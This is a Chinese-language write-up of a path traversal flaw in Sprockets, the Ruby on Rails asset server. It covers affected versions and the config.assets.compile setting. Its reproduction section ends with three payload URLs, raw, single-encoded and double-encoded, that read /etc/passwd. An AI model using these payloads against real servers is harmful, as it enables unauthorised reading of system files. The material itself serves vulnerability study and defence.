一、Ruby on Rails 简介
Ruby on Rails(官方简称为 Rails,亦被简称为 RoR),是一个使用 Ruby 语言写的开源 Web 应用框架,它是严格按照 MVC 结构开发的。它努力使自身保持简单,来使实际的应用开发时的代码更少,使用最少的配置。
Rails 的设计原则包括 “不做重复的事”(Don’t Repeat Yourself)和 “惯例优于设置”(Convention Over Configuration).
控制器接受向应用发起的特定访问请求。路由决定哪些访问请求被哪些控制器接收。一般情况下,一个控制器会对应多个路由,不同路由对应不同动作。动作搜集数据并把数据提供给视图。视图以人类能看懂的格式显示数据。有一点要特别注意,数据是在控制器而不是视图中获取的,视图只是显示数据。默认情况下,视图模板使用 eRuby(嵌入式 Ruby)语言编写,经由 Rails 解析后,再发送给用户。
Rails框架是以固定的命名习惯来自动判断整个架构,默认下会将网址分析成 http://domain-name/ControllerName/ActionName/Attribute/ 然后执行目标Controller中的Action,并取出指定的View(视图)回传给浏览器显示。面对数据库则以Model(模组)的形式,借由Active Record作为与数据库之间的传输接口。
二、漏洞简介
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Sprockets是编译及分发静态资源文件的Ruby库。在Sprockets部分版本中因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/
来跨越到根目录,读取或执行目标服务器上任意文件。
影响面:
development servers,且开启了 config.assets.compile
影响版本:
4.0.0.beta7 及更低版本、
3.7.1 及更低版本、
2.12.4 及更低版本。
如果Rails应用程序在其应用程序中启用了此设置,则它们很容易受到攻击。
# config/environments/production.rb
config.assets.compile = true # setting to true makes your app vulnerable
Rails附带的这个设置的默认值production.rb是false,默认情况下,在生产模式下运行的Rails应用程序不易受到此漏洞的攻击。
1、Sprockets简介
Sprockets是一个用于编译和提供Web Assets 的Ruby库。 Sprockets允许将应用程序的JavaScript文件组织为更易于管理的较小块,这些块可以分布在多个目录和文件中。它提供了有关如何在我们的项目中包含 Assets 的结构和实践。并且可以检查 JavaScript 文件的相互依赖关系,以优化网页中引入的js文件,避免加载不必要的js文件。
通过在每个JavaScript文件的开头使用伪指令,Sprockets可以确定JavaScript文件所依赖的文件。在部署应用程序时,Sprockets然后使用这些指令将多个JavaScript文件转换为单个文件,以提高性能。
三、漏洞复现
Payload:
1、原型
http://ip:3000/assets/file:///usr/src/blog/app/assets/images/../../../../../../etc/passwd
2、一次编码(/ —— %2f . —— %2e)
http://ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3、二次编码(% —— %25)http://ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd